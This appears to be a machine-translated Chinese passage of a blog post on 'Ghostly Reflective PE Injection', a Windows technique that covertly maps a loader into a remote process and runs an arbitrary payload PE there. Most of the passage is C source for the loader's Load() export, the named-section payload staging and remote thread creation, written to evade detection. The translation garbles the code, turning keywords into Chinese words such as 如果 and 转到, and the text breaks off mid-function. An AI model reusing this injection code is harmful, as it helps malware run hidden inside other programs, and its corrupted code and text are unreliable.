来源:马可波罗(电视剧)
我正在研究反射 DLL 注入,这是一项将加载器 DLL 注入到远程进程的技术,然后该进程自行加载(因此称为“反射”),并运行其 DllMain 入口点。
我想知道我是否可以注入一个不可知的加载器,它不会自行加载,而是加载任何 PE。如果不是直接将此 PE 映射到远程进程,而是加载器本身获取它,会怎么样?这样,我可以重用本地 PE 加载器,将其变成远程 PE 加载器。
这个想法
先决条件
我的想法利用了我之前写过的一些概念。我强烈建议你仔细阅读这些概念,因为我们将把这两个概念结合起来:
此外,您还需要了解一些 Windows 内部知识:
- 章节 — Section Objects and Views - Windows drivers | Microsoft Learn
- stdcall — __stdcall | Microsoft Learn
- 快速调用 — __fastcall | Microsoft Learn
鬼魂空心——优点和缺点
Ghostly Hollowing 只能将 PE 注入新创建的挂起进程。它无法注入已在运行的进程并保持其原始线程继续运行。它依赖于在进程有机会解析导入之前修补映像基址。这样,除了使加载器正确解析注入的 PE 的导入函数外,它还消除了重定位的需要(由于修补了基址)。此外,由于映像是用 映射的SEC_IMAGE
,因此所有 PE 部分都正确分配了页面保护。
简而言之,Ghostly Hollowing 可以在进程内映射功能齐全、随时可调用的 PE。但它无法处理已在运行的进程的重定位。
反射型 DLL 注入——优点和缺点
反射式 DLL 注入涉及将加载器 DLL 注入远程进程。此加载器 DLL 导出一个位置无关的函数,该函数加载 DLL 本身(解析导入、重定位、分配正确的内存权限等)。由于它与位置无关,因此在实际加载 DLL 之前它不会失败。此后,DllMain
将调用 DLL 的入口点。
此外,由于加载器 DLL 会自行加载,因此可以避免加载时过多的进程间读写。DLL 加载器可以本地加载自身,不是吗?
简而言之,反射 DLL 注入可以加载远程进程中的任何 DLL,但前提是 DLL 导出可以自行加载的位置无关函数。
结合两者 — 幽灵反射 PE 注射
我们可以结合上述两种技术来弥补彼此的缺点。思路是这样的——我们将反射 DLL 注入的加载器 DLL 分为三个部分——注入器、加载器和实际目标 PE(我们实际上打算加载的那个)。
- 使用 Ghostly Hollowing,注入器会在远程进程中注入一个位置无关的加载器DLL,并执行它。无需重定位。所有必要的函数都在运行时解析。由于 Ghostly Hollowing 的工作方式,这个映射的 DLL 将显示在一个空白图像名称下。
- 反射 DLL 将自身(整个有效负载已可用)加载为目标 PE。受此启发,我编写了加载器,直接从系统页面文件读取目标 PE (您可以让它从任何来源读取)。
加载器和目标 PE 现已解耦!加载器现在可以本地加载所需的任何 PE。
概述步骤
点击放大
- 使用 Ghostly Hollowing,将Loader DLL映射到远程进程中。
- 在远程进程中创建一个新线程来调用Loader DLL导出的加载函数(与位置无关)。我将其命名为
Load()
。 - 该加载函数从系统页面文件中获取目标PE 。
- 然后在本地加载并执行获取的目标 PE 。
编写加载器 DLL
要求
让我们从 Loader DLL 开始。以下是要求:
- 必须是与位置无关的代码:所有必要的函数都必须在运行时解析。由于 Loader 可以注入任何进程,因此它必须仅依赖
ntdll.dll
和kernel32.dll
(谨慎地)。所有其他功能都必须自定义实现。此外,不能使用全局变量,因为全局变量是通过其偏移量引用的,而我们还没有重定位。 - 必须从系统页面文件中获取目标 PE:使用 NT API,可以打开一个命名的部分并从中读取目标 PE 内容。
- 必须在本地加载目标 PE:现在目标 PE 内容已提取到内存中,必须加载它并执行其入口点。我将重用我之前的本地 PE 加载器代码。
代码
<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#007400">/*
---------------------------------------------------------------------------------------------------
此函数与位置无关,并将传递的 DLL 内容加载为 DLL
sectionName:从中获取 DLL 内容的 Section 的 UTF16-LE 名称
*/ </span>
<span style="color:#aa0d91">extern </span> <span style="color:#c41a16">"C"</span> __declspec(dllexport) <span style="color:#5c2699">void </span> <span style="color:#1c00cf">Load </span><span style="color:#5c2699">(LPVOID sectionName)</span> {
<span style="color:#007400">// 初始化变量</span>
LPVOID pDllContents = <span style="color:#aa0d91">NULL</span> ;
SIZE_T dllContentsSize = <span style="color:#1c00cf">0</span> ;
DWORD ntStatus = <span style="color:#1c00cf">0</span> ;
HMODULE hNtdll = <span style="color:#aa0d91">NULL</span> ;
LPVOID pDllImage = <span style="color:#aa0d91">NULL</span> ;
DWORD entrypointOffset = <span style="color:#1c00cf">0</span> ;
<span style="color:#007400">// 解析必要的函数</span>
WINFUNC winFunc;
<span style="color:#aa0d91">if</span> (! <span style="color:#5c2699">ResolveNecessaryFunctions</span> (&winFunc, &hNtdll)) <span style="color:#aa0d91">return</span> ;
<span style="color:#007400">// 从 Section 读取 DLL </span>
<span style="color:#007400"> 打开部分句柄</span>
HANDLE hSectionDll = <span style="color:#aa0d91">NULL</span> ;
OBJECT_ATTRIBUTES dllSectionObjectAttributes{};
<span style="color:#5c2699">RtlZeroMemoryCustom</span> (&dllSectionObjectAttributes, <span style="color:#5c2699">sizeof</span> (OBJECT_ATTRIBUTES));
UNICODE_STRING sectionNameUnicodeString{};
DWORD sectionNameLen = <span style="color:#5c2699">StringLenW</span> ((PWCHAR)sectionName);
sectionNameUnicodeString.Buffer = (PWSTR)sectionName;
sectionNameUnicodeString.MaximumLength = sectionNameLen * <span style="color:#5c2699">sizeof</span> (WCHAR);
sectionNameUnicodeString.Length = sectionNameLen * <span style="color:#5c2699">sizeof</span> (WCHAR);
<span style="color:#5c2699">InitializeObjectAttributes</span> (
&dllSectionObjectAttributes,
§ionNameUnicodeString,
OBJ_CASE_INSENSITIVE,
<span style="color:#aa0d91">NULL</span> ,
<span style="color:#aa0d91">NULL</span>
);
ntStatus = winFunc.pNtOpenSection <span style="color:#5c2699">(</span> &
hSectionDll,
SECTION_MAP_READ | SECTION_MAP_WRITE,
&dllSectionObjectAttributes
);
<span style="color:#aa0d91">如果</span>(hSectionDll == <span style="color:#aa0d91">NULL</span> )<span style="color:#aa0d91">转到</span>CLEANUP;
<span style="color:#007400"> 将部分视图映射到本地进程</span>
ntStatus = winFunc。<span style="color:#5c2699">pNtMapViewOfSection</span> (
hSectionDll,
(HANDLE) <span style="color:#1c00cf">-1</span> ,
&pDllContents,
<span style="color:#aa0d91">NULL</span> ,
<span style="color:#aa0d91">NULL</span> ,
<span style="color:#aa0d91">NULL</span> ,
&dllContentsSize,
SECTION_INHERIT::ViewUnmap,
<span style="color:#aa0d91">NULL</span> ,
PAGE_READWRITE
);
<span style="color:#aa0d91">如果</span>(dllContentsSize == <span style="color:#1c00cf">0</span>|| pDllContents == <span style="color:#aa0d91">NULL</span> ) <span style="color:#aa0d91">goto</span> CLEANUP;
<span style="color:#007400">// 解密 DLL 并恢复签名 TODO </span>
<span style="color:#007400">// 加载 DLL </span>
<span style="color:#5c2699">LoadDll</span> (&winFunc, hNtdll, pDllContents, &pDllImage, &entrypointOffset);
<span style="color:#aa0d91">if</span> (pDllImage == <span style="color:#aa0d91">NULL</span> ) <span style="color:#aa0d91">goto</span> CLEANUP;
<span style="color:#007400">// 删除原始 DLL 内容</span>
<span style="color:#aa0d91">if</span> (pDllContents != <span style="color:#aa0d91">NULL</span> )
winFunc. <span style="color:#5c2699">pNtUnmapViewOfSection</span> (
(HANDLE) <span style="color:#1c00cf">-1</span> ,
pDllContents
);
<span style="color:#aa0d91">if</span> (hSectionDll != <span style="color:#aa0d91">NULL</span> )
winFunc. <span style="color:#5c2699">pNtClose</span> (hSectionDll);
<span style="color:#007400">// 跳转到 DLL 的入口点</span>
<span style="color:#5c2699">JumpToEntry</span> (&winFunc, entrypointOffset, pDllImage);
<span style="color:#007400">// 清理</span>
CLEANUP:
<span style="color:#007400">// 清理内存中的 DLL 缓冲区</span>
<span style="color:#aa0d91">if</span> (pDllImage != <span style="color:#aa0d91">NULL</span> )
winFunc. <span style="color:#5c2699">pNtFreeVirtualMemory</span> (
(HANDLE) <span style="color:#1c00cf">-1</span> ,
&pDllImage,
<span style="color:#1c00cf">0</span> ,
MEM_RELEASE
);
<span style="color:#007400">//退出当前线程</span>
winFunc. <span style="color:#5c2699">pNtTerminateThread</span> ((HANDLE) <span style="color:#aa0d91">NULL</span> , (NTSTATUS) <span style="color:#1c00cf">0</span> );
}</span></span>
上面是 Loader DLL 的导出Load(LPVOID sectionName)
函数,它接受一个节名,并从中读取目标 PE 内容。
和与我的本地 PE 加载器相同。有了目标 PE 内容,您现在可以解析它、加载它并跳转到其计算出的入口点LoadDll()
。JumpToEntry()
需要NtTerminateThread
手动调用。如果不这样做,return
将会期望将 RIP 推送到堆栈上,但我们不会这样做,因为我们将直接跳转到Load
。
我们还必须记住进行清理——关闭所有打开的句柄、取消所有映射视图的映射等。
编写注入器
到这一步,我们的 Loader 已经准备好了,注入器需要把它注入到远程进程中,然后Load(LPVOID sectionName)
用 fastcall “调用” 它的导出函数。
为目标 PE 创建命名部分
<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#007400">/*
-------------------------------------------------------------------------------------------------------
为目标 PE 创建命名部分的函数
*/ </span>
<span style="color:#5c2699">void </span> <span style="color:#1c00cf">CreateNamedSectionForTargetPE </span><span style="color:#5c2699">( <span style="color:#5c2699">bool</span> injectionLocal, IN PWINFUNC pWinFunc, IN LPVOID pDllContents, IN DWORD dllContentsSize, IN PHANDLE phFileMapping, IN OUT PWCHAR targetPESectionName, IN HANDLE hTargetProcess)</span> {
<span style="color:#007400">// 初始化</span>
<span style="color:#5c2699">bool</span> isSuccess = <span style="color:#aa0d91">false</span> ;
LPVOID pDllContentsLocalMapped = <span style="color:#aa0d91">NULL</span> ;
ULONG objectNameLen = <span style="color:#1c00cf">0</span> ;
POBJECT_NAME_INFORMATION pObjectNameInfo = <span style="color:#aa0d91">NULL</span> ;
<span style="color:#007400">// 创建由系统页面内存支持的部分</span>
SECURITY_ATTRIBUTES fileMappingSecurityAttr{};
fileMappingSecurityAttr.bInheritHandle = TRUE;
fileMappingSecurityAttr.nLength = <span style="color:#5c2699">sizeof</span> (SECURITY_ATTRIBUTES);
*phFileMapping = <span style="color:#5c2699">CreateFileMappingW</span> (
INVALID_HANDLE_VALUE,
&fileMappingSecurityAttr,
PAGE_READWRITE,
<span style="color:#1c00cf">0</span> ,
dllContentsSize,
targetPESectionName
);
<span style="color:#aa0d91">如果</span>(*phFileMapping == <span style="color:#aa0d91">NULL</span> ) <span style="color:#aa0d91">goto</span> CLEANUP;
<span style="color:#007400">// 将节名更新为完全限定的</span>
pWinFunc-> <span style="color:#5c2699">pNTQueryObject</span> ( <span style="color:#007400">// 第一次会失败,因为 objectNameLen 为 0</span>
*phFileMapping,
(OBJECT_INFORMATION_CLASS)OBJECT_NAME_INFORMATION_CLASS,
pObjectNameInfo,
<span style="color:#1c00cf">0</span> ,
&objectNameLen
);
<span style="color:#aa0d91">如果</span>(objectNameLen != <span style="color:#1c00cf">0</span> ) {
pObjectNameInfo = (POBJECT_NAME_INFORMATION)( <span style="color:#5c2699">HeapAlloc</span> (
<span style="color:#5c2699">GetProcessHeap</span> (),
HEAP_ZERO_MEMORY,
objectNameLen
));
<span style="color:#aa0d91">如果</span>(pObjectNameInfo != <span style="color:#aa0d91">NULL</span> ) {
pWinFunc-> <span style="color:#5c2699">pNTQueryObject</span> (
*phFileMapping,
(OBJECT_INFORMATION_CLASS)OBJECT_NAME_INFORMATION_CLASS,
pObjectNameInfo,
objectNameLen,
&objectNameLen
);
<span style="color:#aa0d91">如果</span>(pObjectNameInfo->Name.Buffer != <span style="color:#aa0d91">NULL</span> ) {
<span style="color:#5c2699">CopyBuffer</span> ((PBYTE)targetPESectionName, (PBYTE)(pObjectNameInfo->Name.Buffer), (pObjectNameInfo->Name.MaximumLength));
}
}
}
<span style="color:#5c2699">wprintf</span> ( <span style="color:#c41a16">L"为目标 DLL 创建的命名部分:\"%s\"\n"</span> , targetPESectionName);
<span style="color:#007400">// 将部分映射到当前进程,并将目标 PE 内容写入其中</span>
pDllContentsLocalMapped = <span style="color:#5c2699">MapViewOfFile</span> (
*phFileMapping,
FILE_MAP_READ | FILE_MAP_WRITE,
<span style="color:#1c00cf">0</span> ,
<span style="color:#1c00cf">0</span> ,
<span style="color:#1c00cf">0</span>
);
<span style="color:#aa0d91">如果</span>(pDllContentsLocalMapped == <span style="color:#aa0d91">NULL</span> ) <span style="color:#aa0d91">goto</span> CLEANUP;
<span style="color:#5c2699">CopyBuffer</span> ((PBYTE)pDllContentsLocalMapped, (PBYTE)pDllContents, dllContentsSize); <span style="color:#007400">// TODO 加密 DLL 内容</span>
<span style="color:#5c2699">printf</span> ( <span style="color:#c41a16">"%d 字节目标 DLL 有效负载写入命名部分 (本地映射 0x%p)\n"</span> , dllContentsSize, pDllContentsLocalMapped);
<span style="color:#007400">// 清理</span>
CLEANUP:
<span style="color:#aa0d91">如果</span>(pDllContentsLocalMapped != <span style="color:#aa0d91">NULL</span> )
<span style="color:#5c2699">UnmapViewOfFile</span> (pDllContentsLocalMapped);
<span style="color:#aa0d91">如果</span>(pObjectNameInfo != <span style="color:#aa0d91">NULL</span> )
<span style="color:#5c2699">HeapFree</span> ( <span style="color:#5c2699">GetProcessHeap</span> (), <span style="color:#1c00cf">0</span> , pObjectNameInfo);
}</span></span>
命名部分可以是会话特定的,也可以是全局的,具体取决于名称中使用的前缀。即便如此,实际部分名称最终也会以更多内容作为前缀。获取完全限定的部分名称至关重要,因为与 Win32 API 不同,NT API 只接受全名。NtQueryObject()
有助于检索此全名。
CreateFileMappingW()
创建命名部分,并将MapViewOfFile
其映射到本地进程。然后它将原始目标 PE 内容写入此视图,从而有效地为 Loader 准备命名部分。
在远程进程中为 Loader DLL 创建 Ghost 部分
这与 Ghostly Hollowing 技术完全相同,因此我不会在这里再次展示它。这样,Loader DLL 就会加载到远程进程中,并具有所有正确的页面保护。
在远程进程中为目标 PE 注入节名称
加载器 DLL 的Load(LPVOID sectionName)
函数需要用于获取目标 PE 的节名的地址。必须先将此名称写入远程进程中的任意地址,然后必须存储该地址以传递给Load(LPVOID sectionName)
函数。
<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#007400">/*
-------------------------------------------------------------------------------------------------------
Function to map the name of the named section (containg target PE payload) to Target process
*/
<span style="color:#242424"><span style="background-color:#f9f9f9"><span style="color:#5c2699">bool</span> <span style="color:#1c00cf">InjectSectionNameForTargetPEContentsInTargetProcess</span><span style="color:#5c2699">(<span style="color:#5c2699">bool</span> injectLocal, IN HANDLE hTargetProcess, IN PWCHAR targetPESectionName, OUT PHANDLE phDllContentsSectionNameMappingTarget, OUT VOID **ppDllContentsSectionNameTarget)</span> </span></span><span style="color:#242424"><span style="background-color:#f9f9f9">{</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Create file mapping object</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> DWORD targetPESectionNameSize = (</span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">StringLenW</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(targetPESectionName) + </span></span><span style="color:#1c00cf"><span style="background-color:#f9f9f9">1</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) * </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">sizeof</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(WCHAR);</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> *phDllContentsSectionNameMappingTarget = </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">CreateFileMappingW</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> INVALID_HANDLE_VALUE,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> PAGE_READWRITE | SEC_COMMIT,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> targetPESectionNameSize,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> );</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (*phDllContentsSectionNameMappingTarget == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">return</span></span> <span style="color:#aa0d91"><span style="background-color:#f9f9f9">false</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Map view to local process and write the section name</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> LPVOID targetPESectionNameLocal = </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">MapViewOfFile</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> *phDllContentsSectionNameMappingTarget,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> FILE_MAP_WRITE,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> );</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (targetPESectionNameLocal == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">return</span></span> <span style="color:#aa0d91"><span style="background-color:#f9f9f9">false</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">CopyBuffer</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">((PBYTE)targetPESectionNameLocal, (PBYTE)targetPESectionName, targetPESectionNameSize);</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">//Map section to target process</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (injectLocal)</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> *ppDllContentsSectionNameTarget = targetPESectionNameLocal;</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">else</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> *ppDllContentsSectionNameTarget = </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">MapViewOfFile3</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> *phDllContentsSectionNameMappingTarget,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> hTargetProcess,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> PAGE_READWRITE,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> );</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (*ppDllContentsSectionNameTarget == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">return</span></span> <span style="color:#aa0d91"><span style="background-color:#f9f9f9">false</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"DLL contents section name mapped to target 0x%p\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">, *ppDllContentsSectionNameTarget);</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">return</span></span> <span style="color:#aa0d91"><span style="background-color:#f9f9f9">true</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9">}</span></span></span></span></span>
Load()
在 Loader 中调用
由于Load(LPVOID sectionName)
采用 fastcall,因此需要进行额外的修补以确保新线程可以正确调用它。这是因为线程入口点是用 stdcall 调用的。stdcall 会在堆栈上传递参数,但 fastcall 需要它在寄存器中。由于sectionName
是第一个参数,因此Load()
需要它在 RCX 寄存器中。换句话说,RCX 必须保存节名称的地址。我们创建一个新的挂起线程,并设置其线程上下文以设置此 RCX 值。
除此之外,RIP 还被修补为存储Load()
的地址。这是因为新线程不会直接从其入口点开始执行;在此之前有一些初始化代码。
<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#007400">/*
-------------------------------------------------------------------------------------------------------
Invokes loader DLL
*/
<span style="color:#242424"><span style="background-color:#f9f9f9"><span style="color:#5c2699">bool</span> <span style="color:#1c00cf">InvokeLoaderDll</span><span style="color:#5c2699">(<span style="color:#5c2699">bool</span> injectLocal, IN PWINFUNC pWinFunc, IN PWCHAR targetPESectionNameAddress, IN HANDLE hTargetProcess, IN DWORD targetProcessId, IN LPVOID pLoaderDllContents, IN VOID** ppDllLoaderInTargetBaseAddress)</span> </span></span><span style="color:#242424"><span style="background-color:#f9f9f9">{</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Initialisation</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> ULONG processAllSize = </span></span><span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> PSYSTEM_PROCESS_INFORMATION pProcessAll = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> PSYSTEM_PROCESS_INFORMATION pTargetProcessInfo = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> PSYSTEM_THREAD_INFORMATION pTargetThreadInfo = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> HANDLE hTargetThread = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> PIMAGE_NT_HEADERS pNtHeader = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> LPVOID dllLoaderInTargetAddressOfLoadFunction = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">bool</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> isSuccess = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">false</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">// Find DLL loader's Load function offset</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> dllLoaderInTargetAddressOfLoadFunction = </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">ADD_OFFSET_TO_POINTER</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(*ppDllLoaderInTargetBaseAddress, </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">GetProcAddressOffset</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(pLoaderDllContents, (PCHAR)</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Load"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">));</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (dllLoaderInTargetAddressOfLoadFunction == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">return</span></span> <span style="color:#aa0d91"><span style="background-color:#f9f9f9">false</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#007400"><span style="background-color:#f9f9f9">/*
Execute Loader DLL's Load() function
For injecting locally, create new local thread
For injecting remotely, hijack remote process's worker thread
*/</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (injectLocal) {</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> DWORD threadId = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> hTargetThread = </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">CreateThread</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> (LPTHREAD_START_ROUTINE)dllLoaderInTargetAddressOfLoadFunction,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> CREATE_SUSPENDED,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> &threadId</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> );</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (hTargetThread == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">goto</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> CLEANUP;</span></span>
<span style="color:#5c2699"><span style="background-color:#f9f9f9">printf</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span><span style="color:#c41a16"><span style="background-color:#f9f9f9">"Local thread %d created for Target DLL execution, start address: 0x%p\n"</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">, threadId, dllLoaderInTargetAddressOfLoadFunction);</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> }</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">else</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> {</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> DWORD threadId = </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">;</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> hTargetThread = </span></span><span style="color:#5c2699"><span style="background-color:#f9f9f9">CreateRemoteThread</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">(</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> hTargetProcess,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#1c00cf"><span style="background-color:#f9f9f9">0</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> (LPTHREAD_START_ROUTINE)dllLoaderInTargetAddressOfLoadFunction,</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> CREATE_SUSPENDED,</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> &threadId</span></span>
<span style="color:#242424"><span style="background-color:#f9f9f9"> );</span></span>
<span style="color:#aa0d91"><span style="background-color:#f9f9f9">if</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> (hTargetThread == </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">NULL</span></span><span style="color:#242424"><span style="background-color:#f9f9f9">) </span></span><span style="color:#aa0d91"><span style="background-color:#f9f9f9">goto</span></span><span style="color:#242424"><span style="background-color:#f9f9f9"> CLEANUP;</span></span>
